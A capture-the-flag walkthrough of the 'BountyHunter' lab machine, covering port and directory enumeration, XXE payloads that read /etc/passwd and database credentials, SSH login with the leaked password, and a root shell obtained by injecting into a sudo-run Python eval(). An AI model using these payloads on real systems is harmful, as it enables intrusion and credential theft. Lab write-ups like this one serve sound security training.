# BountyHounter

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FrjQJYKftq3kEdRuaXEVC%2Fbountyhunter.png?alt=media\&token=b53a6a8e-2c68-467b-b3bb-51045c9fd386)

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.11.100 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the _allports_ file.

```
# Nmap 7.92 scan initiated Fri Jun 24 12:23:35 2022 as: nmap -sS -p- --min-rate 5000 -Pn -n -oN allPorts 10.10.11.100
Nmap scan report for 10.10.11.100
Host is up (0.067s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Fri Jun 24 12:23:48 2022 -- 1 IP address (1 host up) scanned in 13.45 seconds
```

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p22,80,8065 10.10.11.100 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the _targeted_ file.

```
# Nmap 7.92 scan initiated Fri Jun 24 12:24:02 2022 as: nmap -sCV -p22,80 -oN targeted 10.10.11.100
Nmap scan report for 10.10.11.100
Host is up (0.049s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 24 12:24:35 2022 -- 1 IP address (1 host up) scanned in 33.22 seconds
```

If we take a look at the website, we'll see a basic website with irrelevant information.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F0sa8ttD3tMiO5b8UrPNs%2Fimage.png?alt=media\&token=184a9ea5-319c-4907-89ce-6256ac92dbe8)

Let's try to enumerate subdirectories with _gobuster_.

> gobuster dir -u http://10.10.11.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200 -x txt,php

* `dir` enumerates **directories or files**.
* `-u` the **target** URL.
* `-w` path to the **wordlist**.
* `-t` number of current **threads**, in this case 200 threads.
* `-x` file **extensions** to search for.

```
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.100
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php
[+] Timeout:                 10s
===============================================================
2022/06/24 14:57:07 Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/portal.php           (Status: 200) [Size: 125]                                  
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]   
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]    
/db.php               (Status: 200) [Size: 0]                                    
                                                                                 
===============================================================
2022/06/24 15:00:19 Finished
===============================================================
```

If we take a look at the `/portal.php` directory, we'll see a message saying that the portal is under development, and it shows another page in `/log_submit.php`.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FShlQNyBTyPiwj15EWStO%2Fimage.png?alt=media\&token=342006ec-8d63-4139-9eb6-119c217d0398)

Let's take a look at the `/log_submit.php` page.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FD5cv5jraBVDY1NSF7Vou%2Fimage.png?alt=media\&token=40a6e4d4-a1db-4b46-85f1-f8d206b40cd9)

Let's try to fill of the input fields with the `test` word and hit on `Submit`.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FIzOpSZRRuOk9vTBmsTdM%2Fimage.png?alt=media\&token=8394ec45-6c27-4f54-b31e-11f34d7e6eae)

## Exploitation

It looks like the input is being represented by the server in the server response. Let's take a look at how the requests are being made. Intercept the request with _BurpSuite_, and send it to the repeater.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FsTGE3UALsE77WoEPpN9b%2Fimage.png?alt=media\&token=ad409092-2e94-4c4a-bc90-987506e65183)

The _POST_ request is sending a _URL_ and _Base64_ encoded message. We can decode the message in _BurpSuite_ by selecting the entire message, and pressing `Ctrl+Shift+U` to _URL_ decoded it, and then **Ctrl+Shift+B** to _base64_ decode it. We should see an XML message.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FVdq5mSgMoOgGmfSwGO5d%2Fimage.png?alt=media\&token=2bd7bdbd-96b6-49ab-afa7-e040dac8a367)

At this point, we could try to do an _XXE_ attack.

{% hint style="info" %}
The **XXE attack** occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
{% endhint %}

In order to get the /etc/passwd file, we could create an external entity which will load a specific file.

```xml
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
		<bugreport>
		<title>&xxe;</title>
		<cwe>test</cwe>
		<cvss>test</cvss>
		<reward>test</reward>
		</bugreport>
```

If now we encode it to _base64_ with `Ctrl+B` and then encode it to _URL_ with `Ctrl+U`, and then send the request, we should see the `/etc/passwd` file in the server response.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FkTwRfo4Rmx45bhQHhTRb%2Fimage.png?alt=media\&token=b19d0057-a96e-4d11-9ddc-2f1cfab570d7)

Now, we could see the content of the `db.php` file which we found on the subdirectories enumeration with _gobuster_. We'll have to use the wrapper `php://filter/convert.base64-encode/resource=db.php` so we get the content of the file base64 encoded.

```xml
data=<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php" >]>
		<bugreport>
		<title>&xxe;</title>
		<cwe>test</cwe>
		<cvss>test</cvss>
		<reward>test</reward>
		</bugreport>
```

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FyUTjI7BPYuSGvPQ6RQoH%2Fimage.png?alt=media\&token=90f35b8b-135c-43fb-a7e0-919d84fb19cb)

If we decode the _base64_ string in the server response, we'll see some credentials.

![](https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FuibbpvCBV6aM96S8BEFP%2Fimage.png?alt=media\&token=f19044d3-bfae-419a-95e2-91d581bb68d2)

Now, we could try to log in via _SSH_ with the user `development` we found in the `/etc/passwd` file, and the password `m19RoAU0hP41A1sTsq6K`. Then, we could grab the user flag.

> sshpass -p 'm19RoAU0hP41A1sTsq6K' ssh development@10.10.11.100

```
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri 24 Jun 2022 01:54:11 PM UTC

  System load:           0.0
  Usage of /:            24.2% of 6.83GB
  Memory usage:          16%
  Swap usage:            0%
  Processes:             214
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.100
  IPv6 address for eth0: dead:beef::250:56ff:feb9:5f4b


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$ cat user.txt 
e3251651591eaaceefd492d9007cb7cc
```

## Privilege Escalation

If we take a look at the sudo permissions, we'll see that we can execute a script with _Python3.8_ as the root user.

> sudo -l

```
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
```

Let's see the script permissions.

> ls -l /opt/skytrain\_inc/ticketValidator.py

```
-r-xr--r-- 1 root root 1471 Jul 22  2021 /opt/skytrain_inc/ticketValidator.py
```

We can only read the script. Let's take a look at it.

```python
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()
```

Basically, the script is reading a file. That file should have the `.md` extensions, and it should start with the following lines.

```
# Skytrain Inc
## Ticket to 
__Ticket Code:__
```

The next line should be `**` followed by a number that if divided by 7, the remainder should be 4, for example the 11. Then it should end with a `+` sign followed by a random number.

```
**11+
```

Then, the script uses the `eval()` function. We could exploit this function, so when we execute the script, we will get a shell as root. The final `test.md` file should look like this.

```
# Skytrain Inc
## Ticket to 
__Ticket Code:__
**11+8 and __import__("os").system("bash")
```

If we execute the script with _sudo_ privileges, and indicate the `test.md` file, we should get a shell as the root user. And then all we have to do is reap the harvest and take the root flag.

> sudo /usr/bin/python3.8 /opt/skytrain\_inc/ticketValidator.py

```
Please enter the path to the ticket file.
test.md
Destination: 
root@bountyhunter:/home/development# whoami
root
root@bountyhunter:/home/development# id
uid=0(root) gid=0(root) groups=0(root)
root@bountyhunter:/home/development# cat /root/root.txt 
2b946c05b9ee9aea25eab3754353be74
```
